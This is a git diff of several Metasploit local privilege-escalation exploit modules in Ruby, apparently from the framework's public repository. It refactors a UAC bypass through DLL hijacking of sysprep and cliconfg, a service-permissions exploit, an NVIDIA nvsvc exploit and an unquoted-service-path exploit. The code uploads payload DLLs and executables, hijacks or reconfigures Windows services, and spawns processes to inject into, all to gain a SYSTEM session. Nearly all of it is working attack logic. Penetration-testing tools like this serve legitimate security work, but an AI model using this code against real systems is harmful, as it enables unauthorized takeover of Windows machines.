vprint_error(e.to_s)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Create a process in the native architecture
|
||||||
|
def spawn_inject_proc(win_dir)
|
||||||
def spawn_inject_proc
|
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
|
||||||
windir = expand_path("%WINDIR%").strip
|
if sysinfo['Architecture'] =~ /wow64/i
|
||||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
cmd = "#{win_dir}\\sysnative\\notepad.exe"
|
||||||
cmd = "#{windir}\\System32\\notepad.exe"
|
else
|
||||||
|
cmd = "#{win_dir}\\System32\\notepad.exe"
|
||||||
|
end
|
||||||
pid = cmd_exec_get_pid(cmd)
|
pid = cmd_exec_get_pid(cmd)
|
||||||
|
|
||||||
unless pid
|
unless pid
|
||||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
|
||||||
end
|
end
|
||||||
|
|
||||||
pid
|
pid
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def upload_payload_dll(payload_filepath)
|
||||||
|
|
||||||
def upload_payload_dll!
|
|
||||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||||
print_status("Uploading the Payload DLL to the filesystem...")
|
print_status('Uploading the Payload DLL to the filesystem...')
|
||||||
begin
|
begin
|
||||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||||
write_file(payload_filepath, payload)
|
write_file(payload_filepath, payload)
|
||||||
|
register_file_for_cleanup(payload_filepath)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
fail_with(
|
fail_with(
|
||||||
Exploit::Exception::Unknown,
|
Exploit::Failure::Unknown,
|
||||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def validate_environment!
|
def validate_environment!
|
||||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||||
|
|
||||||
winver = sysinfo["OS"]
|
winver = sysinfo['OS']
|
||||||
|
|
||||||
unless winver =~ /Windows 2008|Windows [7]/
|
case winver
|
||||||
|
when /Windows (7|8|2008|2012)/
|
||||||
|
print_good("#{winver} may be vulnerable.")
|
||||||
|
else
|
||||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||||
end
|
end
|
||||||
|
|
||||||
if is_uac_enabled?
|
if is_uac_enabled?
|
||||||
print_status "UAC is Enabled, checking level..."
|
print_status('UAC is Enabled, checking level...')
|
||||||
else
|
else
|
||||||
if is_in_admin_group?
|
unless is_in_admin_group?
|
||||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_file_paths(win_path, payload_filepath)
|
||||||
|
paths = {}
|
||||||
|
|
||||||
|
case sysinfo['OS']
|
||||||
|
when /Windows (7|2008)/
|
||||||
|
paths[:szElevDll] = 'CRYPTBASE.dll'
|
||||||
|
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
|
||||||
|
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
|
||||||
|
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
|
||||||
|
when /Windows (8|2012)/
|
||||||
|
paths[:szElevDll] = 'NTWDBLIB.dll'
|
||||||
|
paths[:szElevDir] = "#{win_path}\\System32"
|
||||||
|
# This should be fine to be left blank
|
||||||
|
paths[:szElevDirSysWow64] = ''
|
||||||
|
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
|
||||||
|
end
|
||||||
|
|
||||||
|
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
|
||||||
|
paths[:szTempDllPath] = payload_filepath
|
||||||
|
|
||||||
|
paths
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates the paths struct which contains all the required paths
|
||||||
|
# the dll needs to copy/execute etc.
|
||||||
|
def create_struct(paths)
|
||||||
|
|
||||||
|
# write each path to the structure in the order they
|
||||||
|
# are defined in the bypass uac binary.
|
||||||
|
struct = ''
|
||||||
|
struct << fill_struct_path(paths[:szElevDir])
|
||||||
|
struct << fill_struct_path(paths[:szElevDirSysWow64])
|
||||||
|
struct << fill_struct_path(paths[:szElevDll])
|
||||||
|
struct << fill_struct_path(paths[:szElevDllFull])
|
||||||
|
struct << fill_struct_path(paths[:szElevExeFull])
|
||||||
|
struct << fill_struct_path(paths[:szTempDllPath])
|
||||||
|
|
||||||
|
struct
|
||||||
|
end
|
||||||
|
|
||||||
|
def fill_struct_path(path)
|
||||||
|
path = Rex::Text.to_unicode(path)
|
||||||
|
path + "\x00" * (520 - path.length)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -113,8 +113,13 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
begin
|
begin
|
||||||
print_status("#{server.ljust(16)} Creating service #{name}")
|
print_status("#{server.ljust(16)} Creating service #{name}")
|
||||||
|
|
||||||
# 3 is Manual startup. Should probably have constants for this junk
|
service_create(name,
|
||||||
service_create(name, display_name, service_executable, 3, server)
|
{
|
||||||
|
:display => display_name,
|
||||||
|
:path => service_executable,
|
||||||
|
:starttype=> "START_TYPE_MANUAL"
|
||||||
|
},
|
||||||
|
server)
|
||||||
|
|
||||||
# If everything went well, this will create a session. If not, it
|
# If everything went well, this will create a session. If not, it
|
||||||
# might be permissions issues or possibly we failed to create the
|
# might be permissions issues or possibly we failed to create the
|
||||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if srv_info && srv_info['Name'].empty?
|
if srv_info && srv_info[:display].empty?
|
||||||
print_warning("Service #{service} does not exist.")
|
print_warning("Service #{service} does not exist.")
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
|
@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
srv_info = service_info(@service_name)
|
|
||||||
|
|
||||||
if !check_service_exists?(@service_name)
|
if !check_service_exists?(@service_name)
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
|
srv_info = service_info(@service_name)
|
||||||
|
|
||||||
vprint_status(srv_info.to_s)
|
vprint_status(srv_info.to_s)
|
||||||
|
|
||||||
case srv_info['Startup']
|
case START_TYPE[srv_info[:starttype]]
|
||||||
when 'Disabled'
|
when 'Disabled'
|
||||||
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||||
return Exploit::CheckCode::Safe
|
return Exploit::CheckCode::Safe
|
||||||
|
@ -235,17 +235,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
service_information = service_info(@service_name)
|
service_information = service_info(@service_name)
|
||||||
|
|
||||||
if service_information['Startup'] == 'Disabled'
|
|
||||||
print_status("Service is disabled, attempting to enable...")
|
|
||||||
service_change_startup(@service_name, 'auto')
|
|
||||||
service_information = service_info(@service_name)
|
|
||||||
|
|
||||||
# Still disabled
|
|
||||||
if service_information['Startup'] == 'Disabled'
|
|
||||||
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check architecture
|
# Check architecture
|
||||||
dll = generate_payload_dll
|
dll = generate_payload_dll
|
||||||
|
|
||||||
|
@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
# Run the service, let the Windows API do the rest
|
# Run the service, let the Windows API do the rest
|
||||||
#
|
#
|
||||||
print_status("Launching service #{@service_name}...")
|
print_status("Launching service #{@service_name}...")
|
||||||
|
if service_restart(@service_name)
|
||||||
begin
|
print_status("Service started...")
|
||||||
status = service_start(@service_name)
|
else
|
||||||
if status == 1
|
service_information = service_info(@service_name)
|
||||||
print_status("Service already running, attempting to restart...")
|
if service_information[:starttype] == START_TYPE_AUTO
|
||||||
if service_stop(@service_name) == 0
|
|
||||||
print_status("Service stopped, attempting to start...")
|
|
||||||
if service_start(@service_name) == 0
|
|
||||||
print_status("Service started...")
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
|
|
||||||
end
|
|
||||||
elsif status == 0
|
|
||||||
print_status("Service started...")
|
|
||||||
end
|
|
||||||
rescue RuntimeError => e
|
|
||||||
raise e if e.kind_of? Msf::Exploit::Failed
|
|
||||||
if service_information['Startup'] == 'Manual'
|
|
||||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
|
||||||
else
|
|
||||||
if job_id
|
if job_id
|
||||||
print_status("Unable to start service, handler running waiting for a reboot...")
|
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||||
while(true)
|
while(true)
|
||||||
|
@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
os = sysinfo["OS"]
|
os = sysinfo["OS"]
|
||||||
if os =~ /windows/i
|
if os =~ /windows/i
|
||||||
svc = service_info 'nvsvc'
|
svc = service_info 'nvsvc'
|
||||||
if svc and svc['Name'] =~ /NVIDIA/i
|
if svc and svc[:display] =~ /NVIDIA/i
|
||||||
vprint_good("Found service '#{svc['Name']}'")
|
vprint_good("Found service '#{svc[:display]}'")
|
||||||
|
|
||||||
begin
|
begin
|
||||||
if is_running?
|
if is_running?
|
||||||
|
@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
if sysinfo['Architecture'] =~ /WOW64/i
|
if sysinfo['Architecture'] =~ /WOW64/i
|
||||||
path = svc['Command'].gsub('"','').strip
|
path = svc[:path].gsub('"','').strip
|
||||||
path.gsub!("system32","sysnative")
|
path.gsub!("system32","sysnative")
|
||||||
else
|
else
|
||||||
path = svc['Command'].gsub('"','').strip
|
path = svc[:path].gsub('"','').strip
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
|
|
@ -9,7 +9,13 @@ require 'rex'
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Services
|
include Msf::Post::Windows::Services
|
||||||
|
include Msf::Post::Windows::Accounts
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
ERROR = Msf::Post::Windows::Error
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info( info,
|
super( update_info( info,
|
||||||
|
@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
a SYSTEM session. If directly creating a service fails, this module will inspect
|
a SYSTEM session. If directly creating a service fails, this module will inspect
|
||||||
existing services to look for insecure file or configuration permissions that may
|
existing services to look for insecure file or configuration permissions that may
|
||||||
be hijacked. It will then attempt to restart the replaced service to run the
|
be hijacked. It will then attempt to restart the replaced service to run the
|
||||||
payload. This will result in a new session when this succeeds. If the module is
|
payload. This will result in a new session when this succeeds.
|
||||||
able to modify the service but does not have permission to start and stop the
|
|
||||||
affected service, the attacker must wait for the system to restart before a
|
|
||||||
session will be created.
|
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'scriptjunkie' ],
|
'Author' => [ 'scriptjunkie' ],
|
||||||
|
@ -48,149 +51,153 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def execute_payload_as_new_service(path)
|
||||||
# randomize the filename
|
success = false
|
||||||
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
||||||
|
|
||||||
# randomize the exe name
|
|
||||||
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
||||||
|
|
||||||
raw = payload.encoded
|
|
||||||
|
|
||||||
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
|
|
||||||
|
|
||||||
dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
|
|
||||||
sysdir = dir_env['SystemRoot']
|
|
||||||
tmpdir = dir_env['TEMP']
|
|
||||||
|
|
||||||
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
|
|
||||||
begin
|
|
||||||
#
|
|
||||||
# Upload the payload to the filesystem
|
|
||||||
#
|
|
||||||
tempexe = tmpdir + "\\" + tempexe_name
|
|
||||||
fd = session.fs.file.new(tempexe, "wb")
|
|
||||||
fd.write(exe)
|
|
||||||
fd.close
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("Error uploading file #{filename}: #{e.class} #{e}")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
#attempt to make new service
|
|
||||||
|
|
||||||
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
|
|
||||||
|
|
||||||
print_status("Trying to add a new service...")
|
print_status("Trying to add a new service...")
|
||||||
adv = session.railgun.advapi32
|
service_name = Rex::Text.rand_text_alpha((rand(8)+6))
|
||||||
manag = adv.OpenSCManagerA(nil,nil,0x10013)
|
if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
|
||||||
if(manag["return"] != 0)
|
print_status("Created service... #{service_name}")
|
||||||
# SC_MANAGER_CREATE_SERVICE = 0x0002
|
write_exe(path, service_name)
|
||||||
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
|
if service_start(service_name) == ERROR::SUCCESS
|
||||||
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
|
print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||||
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
|
success = true
|
||||||
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
|
|
||||||
if(newservice["return"] != 0)
|
|
||||||
print_status("Created service... #{newservice["return"]}")
|
|
||||||
ret = adv.StartServiceA(newservice["return"], 0, nil)
|
|
||||||
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
|
||||||
adv.DeleteService(newservice["return"])
|
|
||||||
adv.CloseServiceHandle(newservice["return"])
|
|
||||||
if datastore['AGGRESSIVE'] != true
|
|
||||||
adv.CloseServiceHandle(manag["return"])
|
|
||||||
return
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
service_delete(service_name)
|
||||||
else
|
else
|
||||||
print_status("No privs to create a service...")
|
print_status("No privs to create a service...")
|
||||||
manag = adv.OpenSCManagerA(nil,nil,1)
|
success = false
|
||||||
if(manag["return"] == 0)
|
end
|
||||||
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
|
|
||||||
|
return success
|
||||||
|
end
|
||||||
|
|
||||||
|
def weak_service_permissions(service_name, service, path)
|
||||||
|
success = false
|
||||||
|
vprint_status("[#{service_name}] Checking for weak service permissions")
|
||||||
|
|
||||||
|
if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
|
||||||
|
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
|
||||||
|
print_status("[#{service_name}] Restarting service")
|
||||||
|
res = service_stop(service_name)
|
||||||
|
|
||||||
|
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
||||||
|
write_exe(path, service_name)
|
||||||
|
if service_restart(service_name)
|
||||||
|
print_good("[#{service_name}] Service restarted")
|
||||||
|
success = true
|
||||||
|
else
|
||||||
|
print_error("[#{service_name}] Unable to restart service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
|
||||||
|
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
print_status("Trying to find weak permissions in existing services..")
|
|
||||||
#Search through list of services to find weak permissions, whether file or config
|
|
||||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
|
||||||
#for each service
|
|
||||||
service_list.each do |serv|
|
|
||||||
begin
|
|
||||||
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
|
||||||
if srvtype != "16"
|
|
||||||
continue
|
|
||||||
end
|
|
||||||
moved = false
|
|
||||||
configed = false
|
|
||||||
#default path, but there should be an ImagePath registry key
|
|
||||||
source = "#{sysdir}\\system32\\#{serv}.exe"
|
|
||||||
#get path to exe; parse out quotes and arguments
|
|
||||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
|
||||||
sourcemaybe = session.fs.file.expand_path(sourceorig)
|
|
||||||
if( sourcemaybe[0] == '"' )
|
|
||||||
sourcemaybe = sourcemaybe.split('"')[1]
|
|
||||||
else
|
|
||||||
sourcemaybe = sourcemaybe.split(' ')[0]
|
|
||||||
end
|
|
||||||
begin
|
|
||||||
session.fs.file.stat(sourcemaybe) #check if it really exists
|
|
||||||
source = sourcemaybe
|
|
||||||
rescue
|
|
||||||
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
|
||||||
end
|
|
||||||
#try to exploit weak file permissions
|
|
||||||
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
|
||||||
session.railgun.kernel32.CopyFileA(tempexe, source, false)
|
|
||||||
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
|
|
||||||
moved = true
|
|
||||||
end
|
|
||||||
#try to exploit weak config permissions
|
|
||||||
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
|
||||||
if(servhandleret["return"] != 0)
|
|
||||||
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
|
||||||
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
|
||||||
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
|
||||||
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
|
||||||
configed = true
|
|
||||||
end
|
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
|
||||||
|
|
||||||
end
|
return success
|
||||||
if(moved != true && configed != true)
|
end
|
||||||
print_status("No exploitable weak permissions found on #{serv}")
|
|
||||||
continue
|
def weak_file_permissions(service_name, service, path, token)
|
||||||
end
|
success = false
|
||||||
print_status("Restarting #{serv}")
|
vprint_status("[#{service_name}] Checking for weak file permissions")
|
||||||
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
#get path to exe; parse out quotes and arguments
|
||||||
if(servhandleret["return"] != 0)
|
original_path = service[:path]
|
||||||
#SERVICE_CONTROL_STOP = 0x00000001
|
possible_path = expand_path(original_path)
|
||||||
if(adv.ControlService(servhandleret["return"],1,56))
|
if (possible_path[0] == '"')
|
||||||
session.railgun.kernel32.Sleep(1000)
|
possible_path = possible_path.split('"')[1]
|
||||||
adv.StartServiceA(servhandleret["return"],0,nil)
|
else
|
||||||
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
possible_path = possible_path.split(' ')[0]
|
||||||
#Cleanup
|
end
|
||||||
if moved == true
|
|
||||||
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
unless file?(possible_path)
|
||||||
end
|
# If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
|
||||||
if configed == true
|
print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
|
||||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
end
|
||||||
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
|
||||||
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
file_permissions = check_dir_perms(possible_path, token)
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
|
||||||
end
|
if file_permissions && file_permissions.index('W')
|
||||||
else
|
print_good("[#{service_name}] Write access to #{possible_path}")
|
||||||
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
|
|
||||||
end
|
begin
|
||||||
adv.CloseServiceHandle(servhandleret["return"])
|
status = service_status(service_name)
|
||||||
if datastore['AGGRESSIVE'] != true
|
no_access = false
|
||||||
return
|
# Unless service is already stopped
|
||||||
end
|
if status[:state] == SERVICE_STOPPED
|
||||||
|
stopped = true
|
||||||
else
|
else
|
||||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
res = service_stop(service_name)
|
||||||
|
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
|
||||||
end
|
end
|
||||||
rescue
|
rescue RuntimeError => e
|
||||||
|
vprint_error("[#{service_name}] #{e} ")
|
||||||
|
no_access = true
|
||||||
|
end
|
||||||
|
|
||||||
|
if stopped or no_access
|
||||||
|
begin
|
||||||
|
if move_file(possible_path, possible_path+'.bak')
|
||||||
|
write_exe(possible_path, service_name)
|
||||||
|
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
|
||||||
|
if service_restart(service_name)
|
||||||
|
print_good("[#{service_name}] Service restarted")
|
||||||
|
success = true
|
||||||
|
else
|
||||||
|
print_error("Unable to restart service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
vprint_error("[#{service_name}] #{e}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_error("[#{service_name}] Unable to stop service")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return success
|
||||||
|
end
|
||||||
|
|
||||||
|
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
|
||||||
|
# define the correct servicename.
|
||||||
|
def write_exe(path, service_name=nil)
|
||||||
|
vprint_status("[#{service_name}] Writing service executable to #{path}")
|
||||||
|
exe = generate_payload_exe_service({:servicename=>service_name})
|
||||||
|
write_file(path, exe)
|
||||||
|
register_files_for_cleanup(path)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||||
|
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||||
|
|
||||||
|
dir_env = get_envs('SystemRoot', 'TEMP')
|
||||||
|
sysdir = dir_env['SystemRoot']
|
||||||
|
tmpdir = dir_env['TEMP']
|
||||||
|
tempexe = tmpdir + "\\" + tempexe_name
|
||||||
|
|
||||||
|
begin
|
||||||
|
return if execute_payload_as_new_service(tempexe)
|
||||||
|
rescue RuntimeError => e
|
||||||
|
vprint_status("Unable to create a new service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
aggressive = datastore['AGGRESSIVE']
|
||||||
|
|
||||||
|
print_status("Trying to find weak permissions in existing services..")
|
||||||
|
|
||||||
|
token = get_imperstoken
|
||||||
|
each_service do |serv|
|
||||||
|
service_name = serv[:name]
|
||||||
|
service = service_info(service_name)
|
||||||
|
begin
|
||||||
|
return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive
|
||||||
|
return if weak_service_permissions(service_name, service, tempexe) and not aggressive
|
||||||
|
rescue RuntimeError => e
|
||||||
|
vprint_status("[#{serv[:name]}] #{e}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -9,6 +9,7 @@ require 'msf/core/exploit/exe'
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Services
|
include Msf::Post::Windows::Services
|
||||||
|
@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win'],
|
'Platform' => [ 'win'],
|
||||||
'Targets' => [ ['Windows', {}] ],
|
'Targets' => [ ['Windows', {}] ],
|
||||||
'SessionTypes' => [ "shell", "meterpreter" ],
|
'SessionTypes' => [ "meterpreter" ],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
# Migrate away, in case the service dies (can kill access)
|
|
||||||
'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
|
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
def enum_vuln_services(quick=false)
|
def enum_vuln_services(quick=false)
|
||||||
vuln_services = []
|
vuln_services = []
|
||||||
|
|
||||||
service_list.each do |name|
|
each_service do |service|
|
||||||
info = service_info(name)
|
info = service_info(service[:name])
|
||||||
|
|
||||||
# Sometimes there's a null byte at the end of the string,
|
# Sometimes there's a null byte at the end of the string,
|
||||||
# and that can break the regex -- annoying.
|
# and that can break the regex -- annoying.
|
||||||
cmd = info['Command'].strip
|
if info[:path]
|
||||||
|
cmd = info[:path].strip
|
||||||
|
|
||||||
# Check path:
|
# Check path:
|
||||||
# - Filter out paths that begin with a quote
|
# - Filter out paths that begin with a quote
|
||||||
# - Filter out paths that don't have a space
|
# - Filter out paths that don't have a space
|
||||||
next if cmd !~ /^[a-z]\:.+\.exe$/i
|
next if cmd !~ /^[a-z]\:.+\.exe$/i
|
||||||
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
|
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
|
||||||
|
|
||||||
# Filter out services that aren't launched as SYSTEM
|
vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
|
||||||
next if info['Credentials'] !~ /LocalSystem/
|
vuln_services << [service[:name], cmd]
|
||||||
|
|
||||||
vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
|
# This process can be pretty damn slow.
|
||||||
vuln_services << [name, cmd]
|
# Allow the user to just find one, and get the hell out.
|
||||||
|
break if not vuln_services.empty? and quick
|
||||||
# This process can be pretty damn slow.
|
end
|
||||||
# Allow the user to just find one, and get the hell out.
|
|
||||||
break if not vuln_services.empty? and quick
|
|
||||||
end
|
end
|
||||||
|
|
||||||
return vuln_services
|
return vuln_services
|
||||||
|
@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
#
|
#
|
||||||
print_status("Finding a vulnerable service...")
|
print_status("Finding a vulnerable service...")
|
||||||
svrs = enum_vuln_services(true)
|
svrs = enum_vuln_services(true)
|
||||||
if svrs.empty?
|
|
||||||
print_error("No service found with trusted path issues")
|
fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty?
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
svr_name = svrs.first[0]
|
svr_name = svrs.first[0]
|
||||||
fpath = svrs.first[1]
|
fpath = svrs.first[1]
|
||||||
exe_path = "#{fpath.split(' ')[0]}.exe"
|
exe_path = "#{fpath.split(' ')[0]}.exe"
|
||||||
print_status("Placing #{exe_path} as #{svr_name}")
|
print_status("Placing #{exe_path} for #{svr_name}")
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Drop the malicious executable into the path
|
# Drop the malicious executable into the path
|
||||||
#
|
#
|
||||||
exe = generate_payload_exe
|
exe = generate_payload_exe_service({:servicename=>svr_name})
|
||||||
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
|
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
|
||||||
begin
|
begin
|
||||||
write_file(exe_path, exe)
|
write_file(exe_path, exe)
|
||||||
|
